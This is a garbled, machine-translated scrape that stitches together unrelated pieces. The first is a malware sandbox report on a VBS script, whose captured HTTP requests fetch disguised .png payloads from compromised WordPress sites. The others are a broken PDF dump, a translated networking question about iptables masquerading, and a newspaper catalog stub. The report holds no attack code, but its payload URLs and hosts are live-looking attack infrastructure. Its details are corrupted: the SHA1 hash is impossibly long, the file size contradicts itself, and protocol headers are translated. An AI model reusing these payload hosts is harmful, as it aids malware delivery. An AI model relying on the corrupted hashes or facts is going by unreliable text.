    ПОЛУЧИТЬ /wp-content/uploads/2019/10/acl/mcidnvjbds.png?bg=spx26 HTTP/1.1
    Соединение: Keep-Alive
    Принимать: */*
    Accept-Language: en-us
    Агент пользователя: Windows
    Хост: clippingpatharena.com Подробнее

    9…..’..}..Э.]
    10 : 00 DF 13 93 40 00 80 06 59 03 C0 A8 F0 10 43 DE [….@…Y…..C.]
    20 : 98 EB C1 39 00 50 EE 21 8C 1F 9E 72 11 D7 50 18 […9.P.!…r..P.]
    30 : 01 00 B0 5D 00 00 47 45 54 20 2F 77 70 2D 63 6F […]..GET /wp-co]
    40 : 6E 74 65 6E 74 2F 75 70 6C 6F 61 64 73 2F 32 30 [ntent/uploads/20]
    50 : 31 39 2F 31 30 2F 61 63 6C 2F 6D 63 69 64 6E 76 [19/10/acl/mcidnv]
    60 : 6A 62 64 73 2E 70 6E 67 3F 62 67 3D 73 70 78 32 [jbds. png?bg=spx2]
    70 : 36 20 48 54 54 50 2F 31 2E 31 0D 0A 43 6F 6E 6E [6 HTTP/1.1..Conn]
    80 : 65 63 74 696F 6E 3A 20 4B 65 65 70 2D 41 6C 69 [экшн: Keep-Ali]
    90 : 76 65 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D [ve..Accept: */*.]
    A0 : 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 [.Accept-Language]
    B0 : 3A 20 65 6E 2D 75 73 0D 0A 55 73 65 72 2D 41 67 [: en-us..User-Ag]
    C0 : 65 6E 74 3A 20 57 69 6E 64 6F 77 73 0D 0A 48 6F [ent: Windows..Ho]
    D0 : 73 74 3A 20 63 6C 69 70 70 69 6E 67 70 61 74 68 [st: clippingpath]
    E0 : 61 72 65 6E 61 2E 63 6F 6D 0D 0A 0D 0A [arena.com….]

    Формат Детали
    Запрос
    67.222.152.235:80
    (clippingpatharena.com)
    ПОЛУЧИТЬ clippingpatharena. com/wp-content/uploads/2019/10/acl/mcidnvjbds.png?bg=spx26

    ПОЛУЧИТЬ /wp-content/uploads/2019/10/acl/mcidnvjbds.png?bg=spx26 HTTP/1.1
    Соединение: Keep-Alive
    Принимать: */*
    Accept-Language: en-us
    Агент пользователя: Windows
    Хост: clippingpatharena.com Подробнее

    9…..’..}..Э.]
    10 : 00 DF 13 94 40 00 80 06 59 02 C0 A8 F0 10 43 DE [….@… Y…..C.]
    20 : 98 EB C1 39 00 50 EE 21 8C 1F 9E 72 11 D7 50 18 […9.P.!…r..P.]
    30 : 01 00 B0 5D 00 00 47 45 54 20 2F 77 70 2D 63 6F […]..GET /wp-co]
    40 : 6E 74 65 6E 74 2F 75 70 6C 6F 61 64 73 2F 32 30 [ntent/uploads/20]
    50 : 31 39 2F 31 30 2F 61 63 6C 2F 6D 63 69 64 6E 76 [19/10/acl/mcidnv]
    60 : 6A 62 64 73 2E 70 6E 67 3F 62 67 3D 73 70 78 32 [jbds.png?bg=spx2]
    70 : 36 20 48 54 54 50 2F 31 2E 31 0D 0A 43 6F 6E 6E [6 HTTP/1.1..Conn]
    80 : 65 63 74 696F 6E 3A 20 4B 65 65 70 2D 41 6C 69 [экшн: Keep-Ali]
    90 : 76 65 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D [ve..Accept: */*.]
    A0 : 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 [.Accept-Language]
    B0 : 3A 20 65 6E 2D 75 73 0D 0A 55 73 65 72 2D 41 67 [: en-us..User-Ag]
    C0 : 65 6E 74 3A 20 57 69 6E 64 6F 77 73 0D 0A 48 6F [ent: Windows..Ho]
    D0 : 73 74 3A 20 63 6C 69 70 70 69 6E 67 70 61 74 68 [st: clippingpath]
    E0 : 61 72 65 6E 61 2E 63 6F 6D 0D 0A 0D 0A [arena.com….]

    Формат Детали
    Запрос GET /wp-content/uploads/2019/10/acl/mcidnvjbds.png?bg=spx26 HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    Accept-Language: en-us
    User-Agent: Windows
    Хост: clippingpatharena.com

    Извлеченные файлы

    Уведомления

    • Не все источники для индикатора ID «api-55» доступны в отчете
    • Не все источники для идентификатора индикатора «мутант-0» доступны в отчете
    • Не все источники для индикатора ID «поток-2» доступны в отчете
    • Не все источники для индикатора ID «поток-20» доступны в отчете
    • Не все источники для идентификатора индикатора «string-24» доступны в отчете
    • Не все источники для идентификатора индикатора «string-5» доступны в отчете
  • Образец не был предоставлен сообществу
  • Бесплатная служба автоматизированного анализа вредоносных программ на базе Falcon Sandbox

    JVC_58099.

    vbs

    Этот отчет создается на основе файла или URL-адреса, отправленного в этот веб-сервис 3 февраля 2020 г. в 17:34:01 (UTC), и сценария действия 9.1015 Heavy Anti-Evasion
    Гостевая система: Windows 7 64-разрядная, Профессиональная, 6.1 (сборка 7601), пакет обновления 1
    Отчет создан
    Falcon Sandbox v8.30 © Гибридный анализ

    Обзор Образец недоступен

    Повторный анализ
    Хэш видел до Показать похожие образцы

    Запросить удаление отчета

    Реагирование на инцидент

    Оценка риска

    Поведение сети
    Контакты 1 домен и 1 хост.
    Посмотреть все детали

    Методы обнаружения MITRE ATT&CK™

    В этом отчете есть 3 индикатора, которые были сопоставлены с 5 техниками атаки и 4 тактиками.
    Посмотреть все детали

    Постоянство
    Т1179 Зацеп
    • Доступ к учетным данным
    • Стойкость
    • Повышение привилегий
    Процессы Windows часто используют функции интерфейса прикладного программирования (API) для выполнения задач, требующих многократного использования системных ресурсов.
    Узнать больше
    • Устанавливает хуки/патчи запущенного процесса

    Т1215 Модули ядра и расширения
    • Постоянство
    Загружаемые модули ядра (или LKM) — это фрагменты кода, которые можно загружать и выгружать в ядро ​​по запросу.
    Узнать больше
    • Ссылается на подозрительные системные модули

    Повышение привилегий
    Т1179 Зацеп
    • Доступ к учетным данным
    • Стойкость
    • Повышение привилегий
    Процессы Windows часто используют функции интерфейса прикладного программирования (API) для выполнения задач, требующих многократного использования системных ресурсов.
    Узнать больше
    • Устанавливает хуки/патчи запущенного процесса

    Доступ к учетным данным
    Т1179 Зацеп
    • Доступ к учетным данным
    • Стойкость
    • Повышение привилегий
    Процессы Windows часто используют функции интерфейса прикладного программирования (API) для выполнения задач, требующих многократного использования системных ресурсов.
    Узнать больше
    • Устанавливает хуки/патчи запущенного процесса

    Командование и управление
    Т1094 Пользовательский протокол управления и контроля
    • Командование и управление
    Злоумышленники могут взаимодействовать, используя собственный протокол управления и контроля вместо использования существующего [[Technique/T1071|Стандартный протокол прикладного уровня]] для инкапсуляции команд.
    Узнать больше
    • Содержит индикаторы команд общения с ботом

    Дополнительный контекст

    Связанные артефакты песочницы

    Связанные SHA256s
    5dc8b7783e68de4c11d1a898f3bc533c5d9196ff2e2fe9ad65c53a52882ac920

    Индикаторы

    Детали файла


    Все детали:

    JVC_58099.

    vbs

    Имя файла
    JVC_58099.vbs
    Размер
    4,4 МБ (45
    байт)
    Тип
    скрипт vbs
    Описание
    Текст ASCII с очень длинными строками
    Архитектура

    WINDOWS
    SHA256

    2969755e37951c2400326b7afbe5fbfa97b2dc1a8fb0528c3c8e2b0625fa2fa1
    MD5

    4C3BE48A15B15971E206BF1CEF3A225A
    SHA1

    13EDDA74349D8F9AD78B5F4A814C4794FEB56BD8F9AD78B5F4A814C4794FEB56BD8F9AD78B5F4A814C4794FEB56BD55F9AD78B5F4A814C4794FB56BD8

    49152:Q/zvTDgzRKkXIkNkETzkdY6ZFrpPtuelkUFUaq+9nNPbdUsHgNmYLfeAaK3KPw8N:Y

    Скриншоты

    Загрузка контента, пожалуйста, подождите. ..

    • Использование ЦП
    • Принятые байты
    • Чтение с диска, байт/сек
    • Запись на диск, байт/сек
    • сетевых пакетов/сек
    • байт файла подкачки

    Гибридный анализ

    Совет: Щелкните проанализированный процесс ниже, чтобы просмотреть дополнительные сведения.

    Всего проанализировано 1 процесс (System Resource Monitor).

    • wscript.exe
      «C:\JVC_58099.vbs»

      (ИДП: 2056)

    Зарегистрированные вызовы сценариев Зарегистрированный стандартный вывод Извлеченные потоки Дампы памяти
    Ограниченный контроль Сетевая активность Ошибка сети Мультискан Матч

    Сетевой анализ

    Запросы DNS

    Войти для загрузки Запросы DNS (CSV)

    Домен Адрес Регистратор Страна
    csrkanjiza. rs

    91.102.231.82

    ТТЛ: 3599

    Сербия

    HTTP-трафик

    Конечная точка Запрос URL-адрес Данные
    91.102.231.82:80
    (csrkanjiza.rs)
    ПОЛУЧИТЬ csrkanjiza. rs/wp-content/uploads/2020/02/ending/444444.png

    ПОЛУЧИТЬ /wp-content/uploads/2020/02/ending/444444.png HTTP/1.1
    Соединение: Keep-Alive
    Принимать: */*
    Accept-Language: en-us
    Пользовательский агент: FlaskPy
    Хост: csrkanjiza.rs Подробнее

    Формат Детали
    Запрос ПОЛУЧИТЬ /wp-content/uploads/2020/02/ending/444444.png HTTP/1.1 9…<.'..М..Э.] 10 : 00 CD 4C 6B 40 00 80 06 BA 2A C0 A8 F0 33 5B 66 [..Lk@....*...3[f] 20 : E7 52 C0 F4 00 50 28 1E 74 D3 77 45 2F E1 50 18 [.R...P(.t.wE/.P.] 30 : 01 00 79 EF 00 00 47 45 54 20 2F 77 70 2D 63 6F [..y...GET /wp-co] 40 : 6E 74 65 6E 74 2F 75 70 6C 6F 61 64 73 2F 32 30 [ntent/uploads/20] 50 : 32 30 2F 30 32 2F 65 6E 64 69 6E 67 2F 34 34 34 [20/02/окончание/444] 60 : 34 34 34 2E 70 6E 67 20 48 54 54 50 2F 31 2E 31 [444. png HTTP/1.1]
    70 : 0D 0A 43 6F 6E 6E 65 63 74 696F 6E 3A 20 4B 65 [..Соединение: Ke]
    80 : 65 70 2D 41 6C 69 76 65 0D 0A 41 63 63 65 70 74 [ep-Alive..Accept]
    90 : 3A 20 2A 2F 2A 0D 0A 41 63 63 65 70 74 2D 4C 61 [: */*..Accept-La]
    A0 : 6E 67 75 61 67 65 3A 20 65 6E 2D 75 73 0D 0A 55 [язык: en-us..U]
    B0 : 73 65 72 2D 41 67 65 6E 74 3A 20 46 6C 61 73 6B [ser-Агент: Колба]
    C0 : 50 79 0D 0A 48 6F 73 74 3A 20 63 73 72 6B 61 6E [Py..Host: csrkan]
    D0 : 6A 69 7A 61 2E 72 73 0D 0A 0D 0A [джиза.рс….]

    Извлеченные файлы

    Значимые файлы не извлечены.

    Уведомления

    • Применена фильтрация сетевого белого шума (процесс)
    • Не все запросы Falcon MalQuery завершены вовремя
    • Не все источники для индикатора ID «string-24» доступны в отчете
    • Не все источники для идентификатора индикатора «string-5» доступны в отчете

    ()

    %PDF-1. 4
    %
    1 0 объект
    >
    эндообъект
    6 0 объект
    /Заголовок
    /Предмет
    /Автор
    /Режиссер
    /Ключевые слова
    /CreationDate (D:20220

    5542-00’00’)
    /ModDate (D:20120607183235+02’00’)
    >>
    эндообъект
    2 0 объект
    >
    эндообъект
    3 0 объект
    >
    эндообъект
    4 0 объект
    >
    эндообъект
    5 0 объект
    >
    ручей
    GPL Ghostscript 9.05()2012-06-07T18:32:35+02:002012-06-07T18:32:35+02:00PDFCreator Версия 1.4.1

  • ()
  • ()
  • ()
  • конечный поток
    эндообъект
    7 0 объект
    >
    эндообъект
    8 0 объект
    >
    эндообъект
    9 0 объект
    >
    эндообъект
    10 0 объект
    >
    эндообъект
    11 0 объект
    >
    эндообъект
    12 0 объект
    >
    эндообъект
    13 0 объект
    >
    эндообъект
    14 0 объект
    >
    эндообъект
    15 0 объект
    >
    эндообъект
    16 0 объект
    >
    эндообъект
    17 0 объект
    >
    эндообъект
    18 0 объект
    >
    эндообъект
    19 0 объект
    >
    эндообъект
    20 0 объект
    >
    эндообъект
    21 0 объект
    >
    эндообъект
    22 0 объект
    >
    эндообъект
    23 0 объект
    >
    эндообъект
    24 0 объект
    >
    эндообъект
    25 0 объект
    >
    эндообъект
    26 0 объект
    >
    эндообъект
    27 0 объект
    >
    эндообъект
    28 0 объект
    >
    эндообъект
    290 объект
    >
    эндообъект
    30 0 объект
    >
    эндообъект
    31 0 объект
    >
    эндообъект
    32 0 объект
    >
    эндообъект
    33 0 объект
    >
    эндообъект
    34 0 объект
    >
    эндообъект
    35 0 объект
    >
    эндообъект
    36 0 объект
    >
    эндообъект
    37 0 объект
    >
    эндообъект
    38 0 объект
    >
    эндообъект
    39 0 объект
    >
    эндообъект
    40 0 объект
    >
    эндообъект
    41 0 объект
    >
    эндообъект
    42 0 объект
    >
    эндообъект
    43 0 объект
    >
    эндообъект
    44 0 объект
    >
    эндообъект
    45 0 объект
    >
    эндообъект
    46 0 объект
    >
    эндообъект
    47 0 объект
    >
    эндообъект
    48 0 объект
    >
    эндообъект
    49 0 объект
    >
    эндообъект
    50 0 объект
    >
    эндообъект
    51 0 объект
    >
    эндообъект
    52 0 объект
    >
    эндообъект
    53 0 объект
    >
    эндообъект
    54 0 объект
    >
    эндообъект
    55 0 объект
    >
    эндообъект
    56 0 объект
    >
    эндообъект
    57 0 объект
    >
    эндообъект
    58 0 объект
    >
    эндообъект
    590 объект
    >
    эндообъект
    60 0 объект
    >
    эндообъект
    61 0 объект
    >
    эндообъект
    62 0 объект
    >
    эндообъект
    63 0 объект
    >
    эндообъект
    64 0 объект
    >
    эндообъект
    65 0 объект
    >
    эндообъект
    66 0 объект
    >
    эндообъект
    67 0 объект
    >
    эндообъект
    68 0 объект
    >
    эндообъект
    69 0 объект
    >
    эндообъект
    70 0 объект
    >
    эндообъект
    71 0 объект
    >
    эндообъект
    72 0 объект
    >
    эндообъект
    73 0 объект
    >
    эндообъект
    74 0 объект
    >
    эндообъект
    75 0 объект
    >
    эндообъект
    76 0 объект
    >
    эндообъект
    77 0 объект
    >
    эндообъект
    78 0 объект
    >
    эндообъект
    79 0 объект
    >
    эндообъект
    80 0 объект
    >
    эндообъект
    81 0 объект
    >
    эндообъект
    82 0 объект
    >
    эндообъект
    83 0 объект
    >
    эндообъект
    84 0 объект
    >
    эндообъект
    85 0 объект
    >
    эндообъект
    86 0 объект
    >
    эндообъект
    87 0 объект
    >
    эндообъект
    88 0 объект
    >
    эндообъект
    890 объект
    >
    эндообъект
    90 0 объект
    >
    эндообъект
    91 0 объект
    >
    эндообъект
    92 0 объект
    >
    эндообъект
    93 0 объект
    >
    эндообъект
    94 0 объект
    >
    эндообъект
    95 0 объект
    >
    эндообъект
    96 0 объект
    >
    эндообъект
    97 0 объект
    >
    эндообъект
    98 0 объект
    >
    эндообъект
    99 0 объект
    >
    эндообъект
    100 0 объект
    >
    эндообъект
    101 0 объект
    >
    эндообъект
    102 0 объект
    >
    эндообъект
    103 0 объект
    >
    эндообъект
    104 0 объект
    >
    эндообъект
    105 0 объект
    >
    эндообъект
    106 0 объект
    >
    эндообъект
    107 0 объект
    >
    эндообъект
    108 0 объект
    >
    эндообъект
    109 0 объект
    >
    эндообъект
    110 0 объект
    >
    эндообъект
    111 0 объект
    >
    эндообъект
    112 0 объект
    >
    эндообъект
    113 0 объект
    >
    эндообъект
    114 0 объект
    >
    эндообъект
    115 0 объект
    >
    эндообъект
    116 0 объект
    >
    эндообъект
    117 0 объект
    >
    эндообъект
    118 0 объект
    >
    эндообъект
    1190 объект
    >
    эндообъект
    120 0 объект
    >
    эндообъект
    121 0 объект
    >
    эндообъект
    122 0 объект
    >
    эндообъект
    123 0 объект
    >
    эндообъект
    124 0 объект
    >
    эндообъект
    125 0 объект
    >
    эндообъект
    126 0 объект
    >
    эндообъект
    127 0 объект
    >
    эндообъект
    128 0 объект
    >
    эндообъект
    129 0 объект
    >
    эндообъект
    130 0 объект
    >
    эндообъект
    131 0 объект
    >
    эндообъект
    132 0 объект
    >
    эндообъект
    133 0 объект
    >
    эндообъект
    134 0 объект
    >
    эндообъект
    135 0 объект
    >
    эндообъект
    136 0 объект
    >
    эндообъект
    137 0 объект
    >
    эндообъект
    138 0 объект
    >
    эндообъект
    139 0 объект
    >
    эндообъект
    140 0 объект
    >
    эндообъект
    141 0 объект
    >
    эндообъект
    142 0 объект
    >
    эндообъект
    143 0 объект
    >
    эндообъект
    144 0 объект
    >
    эндообъект
    145 0 объект
    >
    эндообъект
    146 0 объект
    >
    эндообъект
    147 0 объект
    >
    эндообъект
    148 0 объект
    >
    эндообъект
    1490 объект
    >
    эндообъект
    150 0 объект
    >
    эндообъект
    151 0 объект
    >
    эндообъект
    152 0 объект
    >
    эндообъект
    153 0 объект
    >
    эндообъект
    154 0 объект
    >
    эндообъект
    155 0 объект
    >
    эндообъект
    156 0 объект
    >
    эндообъект
    157 0 объект
    >
    эндообъект
    158 0 объект
    >
    эндообъект
    159 0 объект
    >
    эндообъект
    160 0 объект
    >
    эндообъект
    161 0 объект
    >
    эндообъект
    162 0 объект
    >
    эндообъект
    163 0 объект
    >
    эндообъект
    164 0 объект
    >
    эндообъект
    165 0 объект
    >
    эндообъект
    166 0 объект
    >
    эндообъект
    167 0 объект
    >
    эндообъект
    168 0 объект
    >
    эндообъект
    169 0 объект
    >
    эндообъект
    170 0 объект
    >
    эндообъект
    171 0 объект
    >
    эндообъект
    172 0 объект
    >
    эндообъект
    173 0 объект
    >
    эндообъект
    174 0 объект
    >
    эндообъект
    175 0 объект
    >
    эндообъект
    176 0 объект
    >
    эндообъект
    177 0 объект
    >
    эндообъект
    178 0 объект
    >
    эндообъект
    1790 объект
    >
    эндообъект
    180 0 объект
    >
    эндообъект
    181 0 объект
    >
    эндообъект
    182 0 объект
    >
    эндообъект
    183 0 объект
    >
    эндообъект
    184 0 объект
    >
    эндообъект
    185 0 объект
    >
    эндообъект
    186 0 объект
    >
    эндообъект
    187 0 объект
    >
    эндообъект
    188 0 объект
    >
    эндообъект
    189 0 объект
    >
    эндообъект
    190 0 объект
    >
    эндообъект
    191 0 объект
    >
    эндообъект
    192 0 объект
    >
    эндообъект
    193 0 объект
    >
    эндообъект
    194 0 объект
    >
    эндообъект
    195 0 объект
    >
    эндообъект
    196 0 объект
    >
    эндообъект
    197 0 объект
    >
    эндообъект
    198 0 объект
    >
    эндообъект
    199 0 объект
    >
    эндообъект
    200 0 объект
    >
    эндообъект
    201 0 объект
    >
    эндообъект
    202 0 объект
    >
    эндообъект
    203 0 объект
    >
    эндообъект
    204 0 объект
    >
    эндообъект
    205 0 объект
    >
    эндообъект
    206 0 объект
    >
    эндообъект
    207 0 объект
    >
    эндообъект
    208 0 объект
    >
    эндообъект
    2090 объект
    >
    эндообъект
    210 0 объект
    >
    эндообъект
    211 0 объект
    >
    эндообъект
    212 0 объект
    >
    эндообъект
    213 0 объект
    >
    эндообъект
    214 0 объект
    >
    эндообъект
    215 0 объект
    >
    эндообъект
    216 0 объект
    >
    эндообъект
    217 0 объект
    >
    эндообъект
    218 0 объект
    >
    эндообъект
    219 0 объект
    >
    эндообъект
    220 0 объект
    >
    эндообъект
    221 0 объект
    >
    эндообъект
    222 0 объект
    >
    эндообъект
    223 0 объект
    >
    эндообъект
    224 0 объект
    >
    эндообъект
    225 0 объект
    >
    эндообъект
    226 0 объект
    >
    эндообъект
    227 0 объект
    >
    эндообъект
    228 0 объект
    >
    эндообъект
    229 0 объект
    >
    эндообъект
    230 0 объект
    >
    /ProcSet [/PDF /Text /ImageC /ImageB /ImageI]
    >>
    эндообъект
    231 0 объект
    >
    ручей
    хڕXn6+!; dArķ {K~jaT[mjb^’;S)22]_pW|n/ӎ?L. 9PŠq
    Ку
    у +
    ڄ
    U2:4#[lP1 ;i䒎F;bFE}*j7

    networking — Маскарад иногда не работает

    У меня возникла проблема с тем, что трафик частной сети не маскируется в очень специфических обстоятельствах.

    Сеть представляет собой группу гостей VMware, использующих сеть 10.1.0.0/18 .

    Проблемный хост — 10.1.4.20 255.255.192.0 , и единственный шлюз, на который он настроен, — 10.1.63.254 . Сервер шлюза $vpnGatewayAddress должен маскировать весь исходящий трафик и перенаправлять его через $outerGatewayAddress , но по какой-то причине 10.1.4.20 иногда имеет $outerGatewayAddress в кэше маршрутизации, как вы можете видеть здесь:

     ip -s кэш показа маршрута 199.16.156.40
    199.16.156.40 из 10.1.4.20 через $outerGatewayAddress dev eth0
        кеш использован 149 age 17sec ipid 0x9e49
    199.16.156.40 через $outerGatewayAddress dev eth0 src 10.1.4.20
        кэш используется 119возраст 11 секунд IPID 0x9e49
     

    Проблема возникает только с api. twitter.com

    После очистки кеша я снова могу пропинговать его, и кеш выглядит нормальным:

     ip route flush cache 199.16.156.40
    ping api.twitter.com
    PING api.twitter.com (199.16.156.40) 56 (84) байт данных.
    64 байта от 199.16.156.40: icmp_req=1 ttl=247 время=93,4 мс
    ip -s route показать кеш 199.16.156.40
    199.16.156.40 от 10.1.4.20 до 10.1.63.254 dev eth0
        возраст кеша 3 секунды
    199.16.156.40 через 10.1.63.254 dev eth0 src 10.1.4.20
        кеш использован 2 возраст 2сек
     

    Сетевая информация для сервера приложений (без lo):

     ip a
    eth0 Link encap:Ethernet HWaddr 00:50:56:a4:48:20
              инет-адрес: 10.1.4.20 Bcast: 10.1.63.255 Маска: 255.255.192.0
              адрес inet6: fe80::250:56ff:fea4:4820/64 Область действия: ссылка
              ВВЕРХ ТРАНСЛЯЦИЯ РАБОТАЕТ MULTICAST MTU:1500 Метрика:1
              Пакеты RX: 1523222895 ошибки: 0 отброшены: 407 переполнения: 0 кадр: 0
              Пакеты TX: 1444207934 ошибки: 0 отброшены: 0 переполнены: 0 перевозчик: 0
              коллизии: 0 txqueuelen: 1000
              Байты RX: 1524116772058 (1,5 ТБ) Байты TX: 5656
    505 (565,6 ГБ)

    Сетевая информация для VPN-шлюза (без lo тоже):

     eth0 Link encap:Ethernet HWaddr 00:50:56:a4:56:e9
               inet addr:$vpnGatewayAddress Bcast:$broadcastAddress Mask:255. 255.255.192
               адрес inet6: fe80::250:56ff:fea4:56e9/64 Область действия: ссылка
               ВВЕРХ ТРАНСЛЯЦИЯ РАБОТАЕТ MULTICAST MTU:1500 Метрика:1
               Пакеты RX: 7030472688 ошибки: 0 отброшены: 1802 переполнения: 0 кадр: 0
               Пакеты TX: 695
      84 ошибки: 0 отброшены: 0 переполнены: 0 перевозчик: 0 коллизии: 0 txqueuelen: 1000 Байты RX: 7777330931859 ​​(7,7 ТБ) TX байт: 7482143729162 (7,4 ТБ) eth0:0 Link encap:Ethernet HWaddr 00:50:56:a4:56:e9 инет-адрес: 10.1.63.254 Bcast: 10.1.63.255 Маска: 255.255.192.0 ВВЕРХ ТРАНСЛЯЦИЯ РАБОТАЕТ MULTICAST MTU:1500 Метрика:1 eth0:1 Link encap:Ethernet HWaddr 00:50:56:a4:56:e9 инет-адрес: 10.1.127.254 Bcast: 10.1.127.255 Маска: 255.255.192.0 ВВЕРХ ТРАНСЛЯЦИЯ РАБОТАЕТ MULTICAST MTU:1500 Метрика:1 tun0 Инкап ссылки: UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 инет-адрес: 10.8.1.1 P-t-P: 10.8.1.2 Маска: 255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU: 1500 Метрика: 1 Пакеты RX: 477047415 ошибки: 0 отброшены: 0 переполнены: 0 кадр: 0 Пакеты TX: 833650386 ошибки: 0 отброшены: 101834 превышения: 0 перевозчик: 0 коллизии: 0 txqueuelen: 100 Байты приема: 89948688258 (89,9 ГБ) TX байт: 1050533566879 (1,0 ТБ)

    eth0 ведет во внешний мир, а tun0 — в сеть виртуальных машин openvpn, на которой находится сервер приложений.

    ip r для VPN-шлюза:

     по умолчанию через $outerGatewayAddress dev eth0 metric 100
    10.1.0.0/18 dev eth0 proto kernel scope link src 10.1.63.254
    10.1.64.0/18 dev eth0 прото-область ядра ссылка src 10.1.127.254
    10.8.1.0/24 через 10.8.1.2 dev tun0
    10.8.1.2 dev tun0 ссылка на область ядра proto src 10.8.1.1
    10,9.0.0/28 через 10.8.1.2 dev tun0
    $addressEndingWithAZero/26 dev eth0 ссылка на область ядра proto src $vpnGatewayAddress
     

    ip r на сервере приложений:

     по умолчанию через 10.1.63.254 dev eth0 метрика 100
    10.1.0.0/18 dev eth0 proto kernel scope link src 10.1.4.20
     

    Правила межсетевого экрана:

     Цепь PREROUTING (политика ПРИНЯТЬ 380M пакетов, 400G байт)
    pkts bytes target prot opt ​​in out source target
    Цепочка INPUT (политика ACCEPT 127M пакетов, 9401M байт)
    pkts bytes target prot opt ​​in out source target
    Цепочка OUTPUT (политика ACCEPT 1876K пакетов, 137M байт)
    pkts bytes target prot opt ​​in out source target
    Цепочка POSTROUTING (политика ACCEPT 223M пакетов, 389Г байт)
    pkts bytes target prot opt ​​in out source target
    32М 1921М МАСКАРАД все -- * eth0 10. 1.0.0/17 0.0.0.0/0
     

    конфигурация перенаправления:

     sysctl net.ipv4.conf.all.send_redirects
    net.ipv4.conf.all.send_redirects = 1
    sysctl net.ipv4.conf.eth0.send_redirects
    net.ipv4.conf.eth0.send_redirects = 1
    sysctl net.ipv4.conf.tun0.send_redirects
    net.ipv4.conf.tun0.send_redirects = 1
     

    Почему маскарад иногда не работает? Как я могу предотвратить это?

    El Paso Herald (Эль-Пасо, Техас), изд. 1, суббота, 19 июля, 1919 — Страница 27 из 36

    тридцать шесть страниц: черно-белая страница 20 x 16 дюймов.
    Оцифровано с 35 мм. микрофильм.

    Это

    газета

    входит в состав сборника под названием:

    Техасская цифровая газетная программа и

    был предоставлен Порталу в историю Техаса

    библиотеками ЕНТ.

    Посмотреть полное описание этой газеты.

    Эти элементы управления являются экспериментальными и еще не оптимизированы для пользователей.

    яркость